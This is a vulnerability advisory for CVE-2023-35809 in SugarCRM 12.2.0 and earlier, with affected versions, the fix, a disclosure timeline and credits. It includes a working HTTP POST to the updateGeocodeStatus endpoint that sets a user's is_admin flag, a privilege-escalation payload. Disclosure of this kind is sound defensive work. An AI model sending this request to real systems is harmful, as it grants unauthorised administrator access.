SugarCRM versions 12.2.0 suffer from a bean manipulation vulnerability that can allow for privilege escalation.
advisories | CVE-2023-35809
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SugarCRM <= 12.2.0 (updateGeocodeStatus) Bean Manipulation Vulnerability
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[-] Software Link:
https://www.sugarcrm.com
[-] Affected Versions:
Version 12.2.0 and prior versions.
Version 12.0.2 and prior versions.
Version 11.0.5 and prior versions.
[-] Vulnerability Description:
The vulnerability is exploitable through the "/maps/updateGeocodeStatus"
REST API
endpoint. This might allow a malicious user to modify arbitrary Sugar
Beans, and that
could lead to a variety of security impacts, such as Privilege
Escalation attacks by
sending an HTTP request like the following:
POST /rest/v11_17/maps/updateGeocodeStatus HTTP/1.1
Host: sugarcrm_website
Content-Type: application/json
OAuth-Token: d4cd573b-3b24-44ae-8eab-6d3b525f7974
Content-Length: 96
Connection: close
{"id":"[USER_ID]","module":"Users","fieldName":"is_admin","status":1}
[-] Solution:
Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.
[-] Disclosure Timeline:
[14/02/2023] - Vendor notified
[12/04/2023] - Fixed versions released
[17/06/2023] - CVE number assigned
[23/08/2023] - Publication of this advisory
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-35809 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
http://karmainsecurity.com/KIS-2023-06
[-] Other References:
https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-007/
